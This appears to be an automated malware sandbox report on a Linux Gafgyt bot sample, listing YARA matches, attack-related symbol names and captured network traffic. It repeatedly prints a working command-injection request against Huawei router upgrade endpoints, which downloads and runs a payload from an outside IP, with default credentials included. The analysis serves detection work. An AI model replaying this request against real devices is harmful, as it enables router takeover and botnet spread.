63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown Network traffic detected: HTTP traffic on port 42836 -> 443
Source: unknown TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown TCP traffic detected without corresponding DNS query: 172.48.71.199
Source: unknown TCP traffic detected without corresponding DNS query: 157.140.61.123
Source: unknown TCP traffic detected without corresponding DNS query: 197.240.88.160
Source: unknown TCP traffic detected without corresponding DNS query: 41.19.172.198
Source: unknown TCP traffic detected without corresponding DNS query: 41.23.197.218
Source: unknown TCP traffic detected without corresponding DNS query: 157.20.100.157
Source: unknown TCP traffic detected without corresponding DNS query: 157.206.94.17
Source: unknown TCP traffic detected without corresponding DNS query: 41.226.233.136
Source: unknown TCP traffic detected without corresponding DNS query: 157.127.3.23
Source: unknown TCP traffic detected without corresponding DNS query: 197.121.254.179
Source: unknown TCP traffic detected without corresponding DNS query: 157.74.250.109
Source: unknown TCP traffic detected without corresponding DNS query: 197.40.73.153
Source: unknown TCP traffic detected without corresponding DNS query: 134.83.64.211
Source: unknown TCP traffic detected without corresponding DNS query: 41.83.16.170
Source: unknown TCP traffic detected without corresponding DNS query: 197.203.101.217
Source: unknown TCP traffic detected without corresponding DNS query: 197.243.32.149
Source: unknown TCP traffic detected without corresponding DNS query: 48.254.205.245
Source: unknown TCP traffic detected without corresponding DNS query: 41.186.63.207
Source: unknown TCP traffic detected without corresponding DNS query: 197.102.3.100
Source: unknown TCP traffic detected without corresponding DNS query: 78.88.48.25
Source: unknown TCP traffic detected without corresponding DNS query: 182.182.121.123
Source: unknown TCP traffic detected without corresponding DNS query: 157.179.102.31
Source: unknown TCP traffic detected without corresponding DNS query: 101.184.84.152
Source: unknown TCP traffic detected without corresponding DNS query: 197.131.244.6
Source: unknown TCP traffic detected without corresponding DNS query: 197.32.103.147
Source: unknown TCP traffic detected without corresponding DNS query: 41.120.24.170
Source: unknown TCP traffic detected without corresponding DNS query: 41.122.188.124
Source: unknown TCP traffic detected without corresponding DNS query: 41.90.65.156
Source: unknown TCP traffic detected without corresponding DNS query: 41.106.165.108
Source: unknown TCP traffic detected without corresponding DNS query: 9.177.81.147
Source: unknown TCP traffic detected without corresponding DNS query: 102.254.17.249
Source: unknown TCP traffic detected without corresponding DNS query: 51.63.195.100
Source: unknown TCP traffic detected without corresponding DNS query: 157.220.141.106
Source: unknown TCP traffic detected without corresponding DNS query: 197.36.48.54
Source: unknown TCP traffic detected without corresponding DNS query: 157.108.157.134
Source: unknown TCP traffic detected without corresponding DNS query: 41.232.191.100
Source: unknown TCP traffic detected without corresponding DNS query: 41.144.194.128
Source: unknown TCP traffic detected without corresponding DNS query: 157.81.21.130
Source: unknown TCP traffic detected without corresponding DNS query: 157.220.136.16
Source: unknown TCP traffic detected without corresponding DNS query: 41.107.127.238
Source: unknown TCP traffic detected without corresponding DNS query: 41.114.202.144
Source: unknown TCP traffic detected without corresponding DNS query: 51.251.230.240
Source: unknown TCP traffic detected without corresponding DNS query: 197.88.254.0
Source: unknown TCP traffic detected without corresponding DNS query: 168.100.76.1
Source: unknown TCP traffic detected without corresponding DNS query: 48.161.11.245
Source: unknown TCP traffic detected without corresponding DNS query: 41.12.122.129
Source: unknown TCP traffic detected without corresponding DNS query: 197.70.12.236
Source: unknown TCP traffic detected without corresponding DNS query: 121.221.89.180
Source: unknown TCP traffic detected without corresponding DNS query: 197.145.28.44
Source: k8CCRUs7Yi.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: k8CCRUs7Yi.elf String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: unknown HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 457Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 33 2e 32 32 34 2e 31 33 31 2e 32 33 30 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: unknown DNS traffic detected: queries for: BC@^]B

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: k8CCRUs7Yi.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6232.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: 6243.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: k8CCRUs7Yi.elf PID: 6232, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Source: Process Memory Space: k8CCRUs7Yi.elf PID: 6243, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c Author: unknown
Contains symbols with names commonly found in malware
Source: ELF static info symbol of initial sample Name: attack.c
Source: ELF static info symbol of initial sample Name: attack_get_opt_int
Source: ELF static info symbol of initial sample Name: attack_get_opt_ip
Source: ELF static info symbol of initial sample Name: attack_init
Source: ELF static info symbol of initial sample Name: attack_kill_all
Source: ELF static info symbol of initial sample Name: attack_method_nudp
Source: ELF static info symbol of initial sample Name: attack_method_stdhex
Source: ELF static info symbol of initial sample Name: attack_method_tcp
Source: ELF static info symbol of initial sample Name: attack_ongoing
Source: ELF static info symbol of initial sample Name: attack_parse
Yara signature match
Source: k8CCRUs7Yi.elf, type: SAMPLE Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6232.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: 6243.1.00007f281c017000.00007f281c02d000.r-x.sdmp, type: MEMORY Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: k8CCRUs7Yi.elf PID: 6232, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Source: Process Memory Space: k8CCRUs7Yi.elf PID: 6243, type: MEMORYSTR Matched rule: Linux_Trojan_Gafgyt_28a2fe0c os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Gafgyt, fingerprint = a2c6beaec18ca876e8487c11bcc7a29279669588aacb7d3027d8d8df8f5bcead, id = 28a2fe0c-eed5-4c79-81e6-3b11b73a4ebd, last_modified = 2021-09-16
Sample and/or dropped files contains symbols with suspicious names
Source: k8CCRUs7Yi.elf ELF static info symbol of initial sample: __gnu_unwind_execute
Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable
Source: Initial sample String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 23.224.131.230 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
